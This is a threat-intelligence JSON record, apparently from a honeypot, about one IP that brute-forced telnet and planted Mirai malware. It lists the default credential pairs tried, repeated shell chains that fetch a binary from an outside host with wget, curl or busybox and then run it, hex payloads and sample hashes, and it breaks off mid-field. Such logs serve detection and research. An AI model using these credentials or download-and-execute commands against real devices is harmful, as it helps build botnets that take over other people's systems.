{"ip":"59.103.217.187","data_as_of":"2026-10-26T21:51:11+00:00","observed":true,"total_events":0,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"9,240 interactive session(s) ran commands after logging in","confidence":"high","network_type":"network service provider","why":["9,240 interactive session(s) logged in and ran commands.","9,243 interactive session(s) logged in successfully.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","Not in any known-scanner range.","Sent 6,666,256 bytes, which is sustained payload delivery.","Held a session open for 94s, against a median of well under a second."],"engagement":{"level":"payload","label":"Sustained payload, held open","detail":"6,666,256 bytes sent, longest session 94s","bytes_sent":6666256,"session_seconds":94,"persistent":true},"basis":"interactive"},"first_seen":"2026-10-15T15:43:44","last_seen":"2026-10-16T13:44:19","events_24h":0,"events_7d":0,"interactive_sessions":15950,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[{"protocol":"telnet","sessions":15950}],"geo":{"country_code":"PK","country_name":"Pakistan","region":"","city":"","lat":null,"lon":null,"asn":141031,"org":"Connect Communication"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as141031","label":"Connect Communications pvt ltd","category":"isp","url":"https://www.peeringdb.com/asn/141031"},"cve_matches":[],"malware":[{"sha256":"c672798dca67f796972b42ad0c89e25d589d2e70eb41892d26adbb6a79f63887","family":"mirai","vt_name":"bin.sh","malicious":45,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":23,"hits":5,"last_seen":"2026-10-15 15:43:44"}],"udp":null,"interaction":{"window_days":90,"sessions":15950,"first_seen":"2026-10-15T15:43:44","last_seen":"2026-10-16T13:44:19","verdicts":[{"verdict":"post-exploitation","sessions":9240},{"verdict":"credential","sessions":6707},{"verdict":"scan","sessions":2},{"verdict":"unknown","sessions":1}],"personas":[{"persona":"linux-ubuntu@20.04","sessions":15950}],"services":[{"protocol":"telnet","port":23,"sessions":15950}],"logins":[{"username":"admin","password":"admin","password_sent":true,"service":"telnet","outcome":"success","tries":1788,"last_seen":"2026-10-16T13:43:58"},{"username":"root","password":"ikwb","password_sent":true,"service":"telnet","outcome":"success","tries":1707,"last_seen":"2026-10-16T13:42:32"},{"username":"root","password":"ikwb","password_sent":true,"service":"telnet","outcome":"failure","tries":1396,"last_seen":"2026-10-16T13:43:22"},{"username":"root","password":"12341234","password_sent":true,"service":"telnet","outcome":"success","tries":1378,"last_seen":"2026-10-16T13:43:10"},{"username":"root","password":"Admin","password_sent":true,"service":"telnet","outcome":"success","tries":827,"last_seen":"2026-10-16T13:41:42"},{"username":"root","password":"12341234","password_sent":true,"service":"telnet","outcome":"failure","tries":640,"last_seen":"2026-10-16T13:44:08"},{"username":"root","password":"Admin","password_sent":true,"service":"telnet","outcome":"failure","tries":359,"last_seen":"2026-10-16T13:43:53"},{"username":"admin","password":"admin","password_sent":true,"service":"telnet","outcome":"failure","tries":298,"last_seen":"2026-10-16T13:40:50"},{"username":"root","password":"","password_sent":true,"service":"telnet","outcome":"failure","tries":147,"last_seen":"2026-10-16T13:43:58"},{"username":"root","password":"root","password_sent":true,"service":"telnet","outcome":"failure","tries":84,"last_seen":"2026-10-16T13:16:10"},{"username":"root","password":"hi3518","password_sent":true,"service":"telnet","outcome":"failure","tries":80,"last_seen":"2026-10-16T13:39:16"},{"username":"admin","password":"1234","password_sent":true,"service":"telnet","outcome":"failure","tries":73,"last_seen":"2026-10-16T12:53:42"},{"username":"TMAR#DLKT20060205","password":"DLKT20060205","password_sent":true,"service":"telnet","outcome":"failure","tries":72,"last_seen":"2026-10-16T12:11:20"},{"username":"888888","password":"888888","password_sent":true,"service":"telnet","outcome":"failure","tries":62,"last_seen":"2026-10-16T13:18:08"},{"username":"service","password":"service","password_sent":true,"service":"telnet","outcome":"success","tries":61,"last_seen":"2026-10-16T13:42:26"},{"username":"draytek","password":"1234","password_sent":true,"service":"telnet","outcome":"success","tries":61,"last_seen":"2026-10-16T13:39:06"},{"username":"666666","password":"666666","password_sent":true,"service":"telnet","outcome":"failure","tries":59,"last_seen":"2026-10-16T13:12:23"},{"username":"rapport","password":"r@p8p0r+","password_sent":true,"service":"telnet","outcome":"success","tries":58,"last_seen":"2026-10-16T13:24:31"},{"username":"CMCCAdmin","password":"CMCCAdmin","password_sent":true,"service":"telnet","outcome":"failure","tries":57,"last_seen":"2026-10-16T13:39:03"},{"username":"ruijie","password":"ruijie","password_sent":true,"service":"telnet","outcome":"success","tries":56,"last_seen":"2026-10-16T13:28:29"},{"username":"operator","password":"operator","password_sent":true,"service":"telnet","outcome":"success","tries":56,"last_seen":"2026-10-16T13:15:02"},{"username":"yhtcAdmin","password":"Cuc@YHfw","password_sent":true,"service":"telnet","outcome":"failure","tries":55,"last_seen":"2026-10-16T13:16:10"},{"username":"Admin","password":"","password_sent":true,"service":"telnet","outcome":"failure","tries":55,"last_seen":"2026-10-16T13:13:52"},{"username":"admin1","password":"password","password_sent":true,"service":"telnet","outcome":"success","tries":55,"last_seen":"2026-10-16T12:12:36"},{"username":"Administrator","password":"admin","password_sent":true,"service":"telnet","outcome":"failure","tries":55,"last_seen":"2026-10-16T12:07:35"}],"commands":[{"ts":"2026-10-16T13:44:19","session_id":"3ed4195c-7493-46da-a908-5732f7b3c3e3","protocol":"telnet","persona":"linux-ubuntu@20.04","command":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget [http]://42[.]180[.]33[.]60:50144/i ||curl -O [http]://42[.]180[.]33[.]60:50144/i ||/bin/busybox wget [http]://42[.]180[.]33[.]60:50144/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x5a\\x4f\\x47\\x49\\x59\\x4c\\x4e\\x4f'","exit_code":0},{"ts":"2026-10-16T13:44:18","session_id":"3ed4195c-7493-46da-a908-5732f7b3c3e3","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"/bin/busybox wget;/bin/busybox echo -ne '\\x51\\x51\\x47\\x58\\x44\\x46'","exit_code":0},{"ts":"2026-10-16T13:44:18","session_id":"3ed4195c-7493-46da-a908-5732f7b3c3e3","protocol":"telnet","persona":"linux-ubuntu@20.04","command":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x51\\x51\\x47\\x58\\x44\\x46'","exit_code":0},{"ts":"2026-10-16T13:44:18","session_id":"3ed4195c-7493-46da-a908-5732f7b3c3e3","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"sh","exit_code":0},{"ts":"2026-10-16T13:44:18","session_id":"3ed4195c-7493-46da-a908-5732f7b3c3e3","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"shell","exit_code":127},{"ts":"2026-10-16T13:44:18","session_id":"3ed4195c-7493-46da-a908-5732f7b3c3e3","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"su","exit_code":1},{"ts":"2026-10-16T13:44:18","session_id":"3ed4195c-7493-46da-a908-5732f7b3c3e3","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"linuxshell","exit_code":127},{"ts":"2026-10-16T13:44:18","session_id":"3ed4195c-7493-46da-a908-5732f7b3c3e3","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"system","exit_code":127},{"ts":"2026-10-16T13:44:18","session_id":"3ed4195c-7493-46da-a908-5732f7b3c3e3","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"config terminal","exit_code":127},{"ts":"2026-10-16T13:44:18","session_id":"3ed4195c-7493-46da-a908-5732f7b3c3e3","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"enable","exit_code":0},{"ts":"2026-10-16T13:44:18","session_id":"3ed4195c-7493-46da-a908-5732f7b3c3e3","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"start","exit_code":127},{"ts":"2026-10-16T13:44:07","session_id":"f7773d68-cdf8-4647-96d3-e7c450eb4cbd","protocol":"telnet","persona":"linux-ubuntu@20.04","command":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget [http]://42[.]180[.]33[.]60:50144/i ||curl -O [http]://42[.]180[.]33[.]60:50144/i ||/bin/busybox wget [http]://42[.]180[.]33[.]60:50144/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x5a\\x4f\\x47\\x49\\x59\\x4c\\x4e\\x4f'","exit_code":0},{"ts":"2026-10-16T13:44:07","session_id":"f7773d68-cdf8-4647-96d3-e7c450eb4cbd","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"/bin/busybox wget;/bin/busybox echo -ne '\\x51\\x51\\x47\\x58\\x44\\x46'","exit_code":0},{"ts":"2026-10-16T13:44:06","session_id":"f7773d68-cdf8-4647-96d3-e7c450eb4cbd","protocol":"telnet","persona":"linux-ubuntu@20.04","command":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x51\\x51\\x47\\x58\\x44\\x46'","exit_code":0},{"ts":"2026-10-16T13:44:06","session_id":"f7773d68-cdf8-4647-96d3-e7c450eb4cbd","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"sh","exit_code":0},{"ts":"2026-10-16T13:44:06","session_id":"f7773d68-cdf8-4647-96d3-e7c450eb4cbd","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"shell","exit_code":127},{"ts":"2026-10-16T13:44:06","session_id":"f7773d68-cdf8-4647-96d3-e7c450eb4cbd","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"system","exit_code":127},{"ts":"2026-10-16T13:44:06","session_id":"f7773d68-cdf8-4647-96d3-e7c450eb4cbd","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"linuxshell","exit_code":127},{"ts":"2026-10-16T13:44:06","session_id":"f7773d68-cdf8-4647-96d3-e7c450eb4cbd","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"su","exit_code":0},{"ts":"2026-10-16T13:44:06","session_id":"f7773d68-cdf8-4647-96d3-e7c450eb4cbd","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"config terminal","exit_code":127},{"ts":"2026-10-16T13:44:06","session_id":"f7773d68-cdf8-4647-96d3-e7c450eb4cbd","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"enable","exit_code":0},{"ts":"2026-10-16T13:44:06","session_id":"f7773d68-cdf8-4647-96d3-e7c450eb4cbd","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"start","exit_code":127},{"ts":"2026-10-16T13:43:59","session_id":"b3acd9f9-d777-4f2a-96a6-32192122ec2f","protocol":"telnet","persona":"linux-ubuntu@20.04","command":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget [http]://42[.]180[.]33[.]60:50144/i ||curl -O [http]://42[.]180[.]33[.]60:50144/i ||/bin/busybox wget [http]://42[.]180[.]33[.]60:50144/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x5a\\x4f\\x47\\x49\\x59\\x4c\\x4e\\x4f'","exit_code":0},{"ts":"2026-10-16T13:43:59","session_id":"b3acd9f9-d777-4f2a-96a6-32192122ec2f","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"/bin/busybox wget;/bin/busybox echo -ne '\\x51\\x51\\x47\\x58\\x44\\x46'","exit_code":0},{"ts":"2026-10-16T13:43:58","session_id":"b3acd9f9-d777-4f2a-96a6-32192122ec2f","protocol":"telnet","persona":"linux-ubuntu@20.04","command":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x51\\x51\\x47\\x58\\x44\\x46'","exit_code":0},{"ts":"2026-10-16T13:43:58","session_id":"b3acd9f9-d777-4f2a-96a6-32192122ec2f","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"sh","exit_code":0},{"ts":"2026-10-16T13:43:58","session_id":"b3acd9f9-d777-4f2a-96a6-32192122ec2f","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"shell","exit_code":127},{"ts":"2026-10-16T13:43:58","session_id":"b3acd9f9-d777-4f2a-96a6-32192122ec2f","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"su","exit_code":1},{"ts":"2026-10-16T13:43:58","session_id":"b3acd9f9-d777-4f2a-96a6-32192122ec2f","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"linuxshell","exit_code":127},{"ts":"2026-10-16T13:43:58","session_id":"b3acd9f9-d777-4f2a-96a6-32192122ec2f","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"system","exit_code":127},{"ts":"2026-10-16T13:43:58","session_id":"b3acd9f9-d777-4f2a-96a6-32192122ec2f","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"config terminal","exit_code":127},{"ts":"2026-10-16T13:43:58","session_id":"b3acd9f9-d777-4f2a-96a6-32192122ec2f","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"enable","exit_code":0},{"ts":"2026-10-16T13:43:58","session_id":"b3acd9f9-d777-4f2a-96a6-32192122ec2f","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"start","exit_code":127},{"ts":"2026-10-16T13:43:47","session_id":"4f2db7eb-b36e-49dd-b7f2-0e754de8d38d","protocol":"telnet","persona":"linux-ubuntu@20.04","command":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget [http]://42[.]180[.]33[.]60:50144/i ||curl -O [http]://42[.]180[.]33[.]60:50144/i ||/bin/busybox wget [http]://42[.]180[.]33[.]60:50144/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x5a\\x4f\\x47\\x49\\x59\\x4c\\x4e\\x4f'","exit_code":0},{"ts":"2026-10-16T13:43:47","session_id":"4f2db7eb-b36e-49dd-b7f2-0e754de8d38d","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"/bin/busybox wget;/bin/busybox echo -ne '\\x51\\x51\\x47\\x58\\x44\\x46'","exit_code":0},{"ts":"2026-10-16T13:43:47","session_id":"4f2db7eb-b36e-49dd-b7f2-0e754de8d38d","protocol":"telnet","persona":"linux-ubuntu@20.04","command":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x51\\x51\\x47\\x58\\x44\\x46'","exit_code":0},{"ts":"2026-10-16T13:43:47","session_id":"4f2db7eb-b36e-49dd-b7f2-0e754de8d38d","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"shell","exit_code":127},{"ts":"2026-10-16T13:43:47","session_id":"4f2db7eb-b36e-49dd-b7f2-0e754de8d38d","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"su","exit_code":1},{"ts":"2026-10-16T13:43:47","session_id":"4f2db7eb-b36e-49dd-b7f2-0e754de8d38d","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"sh","exit_code":0},{"ts":"2026-10-16T13:43:47","session_id":"4f2db7eb-b36e-49dd-b7f2-0e754de8d38d","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"linuxshell","exit_code":127},{"ts":"2026-10-16T13:43:47","session_id":"4f2db7eb-b36e-49dd-b7f2-0e754de8d38d","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"system","exit_code":127},{"ts":"2026-10-16T13:43:47","session_id":"4f2db7eb-b36e-49dd-b7f2-0e754de8d38d","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"config terminal","exit_code":127},{"ts":"2026-10-16T13:43:47","session_id":"4f2db7eb-b36e-49dd-b7f2-0e754de8d38d","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"enable","exit_code":0},{"ts":"2026-10-16T13:43:47","session_id":"4f2db7eb-b36e-49dd-b7f2-0e754de8d38d","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"start","exit_code":127},{"ts":"2026-10-16T13:43:39","session_id":"672bfb32-379e-4039-8446-4ed08c7b45c3","protocol":"telnet","persona":"linux-ubuntu@20.04","command":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget [http]://42[.]180[.]33[.]60:50144/i ||curl -O [http]://42[.]180[.]33[.]60:50144/i ||/bin/busybox wget [http]://42[.]180[.]33[.]60:50144/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x5a\\x4f\\x47\\x49\\x59\\x4c\\x4e\\x4f'","exit_code":0},{"ts":"2026-10-16T13:43:39","session_id":"672bfb32-379e-4039-8446-4ed08c7b45c3","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"/bin/busybox wget;/bin/busybox echo -ne '\\x51\\x51\\x47\\x58\\x44\\x46'","exit_code":0},{"ts":"2026-10-16T13:43:39","session_id":"672bfb32-379e-4039-8446-4ed08c7b45c3","protocol":"telnet","persona":"linux-ubuntu@20.04","command":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x51\\x51\\x47\\x58\\x44\\x46'","exit_code":0},{"ts":"2026-10-16T13:43:39","session_id":"672bfb32-379e-4039-8446-4ed08c7b45c3","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"sh","exit_code":0},{"ts":"2026-10-16T13:43:39","session_id":"672bfb32-379e-4039-8446-4ed08c7b45c3","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"shell","exit_code":127},{"ts":"2026-10-16T13:43:39","session_id":"672bfb32-379e-4039-8446-4ed08c7b45c3","protocol":"telnet","persona":"linux-ubuntu@20.04","command":"su","exit_code":0}],"downloads":[{"url":"[http]://42[.]227[.]203[.]38:54878/i","host":"42[.]227[.]203[.]38","sessions":8603,"first_seen":"2026-10-15T15:43:44","last_seen":"2026-10-16T11:38:14","virustotal":{"sha256":"c672798dca67f796972b42ad0c89e25d589d2e70eb41892d26adbb6a79f63887","status":"known","malicious":45,"total":75,"name":"bin.sh"}},{"url":"[http]://42[.]180[.]33[.]60:50144/i","host":"42[.]180[.]33[.]60","sessions":619,"first_seen":"2026-10-16T11:41:12","last_seen":"2026-10-16T13:44:19","virustotal":null},{"url":"[http]://59[.]103[.]217[.]187:39255/i","host":"59[.]103[.]217[.]187","sessions":15,"first_seen":"2026-10-15T17:11:29","last_seen":"2026-10-16T12:05:17","virustotal":null}],"files":[{"sha256":"6e969410295867d241f58b2e0e659b5b8bf0694b9c53839e546092373d46bbce","name":"i","size":28,"mime_type":"text/plain","kind":"downloaded","times":8603,"first_seen":"2026-10-15T15:43:44","last_seen":"2026-10-16T11:38:12","virustotal":null},{"sha256":"6af122fb4b768eb1288f3103998d2533104a61002420c58d222ac582ac60f3e2","name":"i","size":39182,"mime_type":"application/x-executable","kind":"sample","times":8602,"first_seen":"2026-10-15T15:43:44","last_seen":"2026-10-16T11:38:12","virustotal":null},{"sha256":"036c78df2c2b5afc2f37330dda9ec5e3f8a250dd3766043a83edaa117af7f2ec","name":"i","size":27,"mime_type":"text/plain","kind":"downloaded","times":619,"first_seen":"2026-10-16T11:41:12","last_seen":"2026-10-16T13:44:19","virustotal":null},{"sha256":"a469ea206ca4c1edcf844c417bcdfd6b4ff1bafb4ac26ad6daa11f3997b4992e","name":"i","size":9494,"mime_type":"application/x-executable","kind":"sample","times":618,"first_seen":"2026-10-16T11:41:12","last_seen":"2026-10-16T13:44:19","virustotal":null},{"sha256":"155fc89205417dd2b49b05c80c22d2dcd33c874fe898c86335654843a435e333","name":"i","size":21195,"mime_type":"application/x-executable","kind":"sample","times":15,"first_seen":"2026-10-15T17:11:28","last_seen":"2026-10-16T12:05:17","virustotal":null},{"sha256":"5cee3ceadfb5e2e0fc4b598777b29f2c1b7fd9a0dfe4fd6825984b035178e5e1","name":"i","size":29,"mime_type":"text/plain","kind":"downloaded","times":15,"first_seen":"2026-10-15T17:11:28","last_seen":"2026-10-16T12:05:17","virustotal":null}],"attack":[{"technique_id":"T1595","technique_name":"Active Scanning","tactic_id":"TA0043","tactic_name":"Reconnaissance","sessions":2},{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":9243},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":9240},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":15947},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":9237}]},"top_ports":[{"port":23,"proto":"tcp","label":"Telnet","count":0,"sessions":15950}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-10-15","count":0,"sessions":8461},{"date":"2026-10-16","count":0,"sessions":7489}],"recent_events":[{"timestamp":"2026-10-16T13:44:19","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://42.180.33.60:50144/i ||curl -O http://42.180.33.60:50144/i ||/bin/busybox wget http://42.180.33.60:50144/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x5a\\x4f\\x47\\x49\\x59\\x4c\\x4e\\x4f'","payload_hex":"3e2f7661722f72756e2f2e7826266364202f7661722f72756e3b3e2f6d6e742f2e7826266364202f6d6e743b3e2f7573722f2e7826266364202f7573723b3e2f6465762f2e7826266364202f6465763b3e2f6465762f73686d2f2e7826266364202f6465762f73686d3b3e2f746d702f2e7826266364202f746d703b3e2f7661722f2e7826266364202f7661723b726d202d726620693b7767657420687474703a2f2f34322e3138302e33332e36303a35303134342f69207c7c6375726c202d4f20687474703a2f2f34322e3138302e33332e36303a35303134342f69207c7c2f62696e2f62757379626f78207767657420687474703a2f2f34322e3138302e33332e36303a35303134342f693b63686d6f64203737372069207c7c286370202f62696e2f6c732069693b63617420693e6969202626726d20693b637020696920693b726d206969293b2e2f693b2f62696e2f62757379626f78206563686f202d6520275c7835615c7834665c7834375c7834395c7835395c7834635c7834655c78346627","method":"","user_agent":"","ja3":"","session":"3ed4195c-7493-46da-a908-5732f7b3c3e3-24","seq":24,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"12d446bd71d922a6","strings":[">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;…"],"iocs":{"paths":["/var/run/.x","/var/run","/mnt/.x","/usr/.x","/dev/.x"]}},"interactive":true},{"timestamp":"2026-10-16T13:44:18","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox wget;/bin/busybox echo -ne '\\x51\\x51\\x47\\x58\\x44\\x46'","payload_hex":"2f62696e2f62757379626f7820776765743b2f62696e2f62757379626f78206563686f202d6e6520275c7835315c7835315c7834375c7835385c7834345c78343627","method":"","user_agent":"","ja3":"","session":"3ed4195c-7493-46da-a908-5732f7b3c3e3-22","seq":22,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"17e9f64e5fd4fcad","strings":["/bin/busybox wget;/bin/busybox echo -ne '\\x51\\x51\\x47\\x58\\x44\\x46'"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-16T13:44:18","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"su","payload_hex":"7375","method":"","user_agent":"","ja3":"","session":"3ed4195c-7493-46da-a908-5732f7b3c3e3-14","seq":14,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-16T13:44:18","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"shell","payload_hex":"7368656c6c","method":"","user_agent":"","ja3":"","session":"3ed4195c-7493-46da-a908-5732f7b3c3e3-16","seq":16,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"ec122f54cf16a175","strings":["shell"]},"interactive":true},{"timestamp":"2026-10-16T13:44:18","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"sh","payload_hex":"7368","method":"","user_agent":"","ja3":"","session":"3ed4195c-7493-46da-a908-5732f7b3c3e3-18","seq":18,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-16T13:44:18","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x51\\x51\\x47\\x58\\x44\\x46'","payload_hex":"3e2f7661722f72756e2f2e7826266364202f7661722f72756e3b3e2f6d6e742f2e7826266364202f6d6e743b3e2f7573722f2e7826266364202f7573723b3e2f6465762f2e7826266364202f6465763b3e2f6465762f73686d2f2e7826266364202f6465762f73686d3b3e2f746d702f2e7826266364202f746d703b3e2f7661722f2e7826266364202f7661723b2f62696e2f62757379626f78206563686f202d6520275c7835315c7835315c7834375c7835385c7834345c78343627","method":"","user_agent":"","ja3":"","session":"3ed4195c-7493-46da-a908-5732f7b3c3e3-20","seq":20,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"aace2d92924b5e24","strings":[">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;…"],"iocs":{"paths":["/var/run/.x","/var/run","/mnt/.x","/usr/.x","/dev/.x"]}},"interactive":true},{"timestamp":"2026-10-16T13:44:18","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"config terminal","payload_hex":"636f6e666967207465726d696e616c","method":"","user_agent":"","ja3":"","session":"3ed4195c-7493-46da-a908-5732f7b3c3e3-8","seq":8,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"2ee0c5cf57d6caf7","strings":["config terminal"]},"interactive":true},{"timestamp":"2026-10-16T13:44:18","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"system","payload_hex":"73797374656d","method":"","user_agent":"","ja3":"","session":"3ed4195c-7493-46da-a908-5732f7b3c3e3-10","seq":10,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"317f1e761f2faa8d","strings":["system"]},"interactive":true},{"timestamp":"2026-10-16T13:44:18","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"linuxshell","payload_hex":"6c696e75787368656c6c","method":"","user_agent":"","ja3":"","session":"3ed4195c-7493-46da-a908-5732f7b3c3e3-12","seq":12,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"8792476de0c64900","strings":["linuxshell"]},"interactive":true},{"timestamp":"2026-10-16T13:44:18","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alp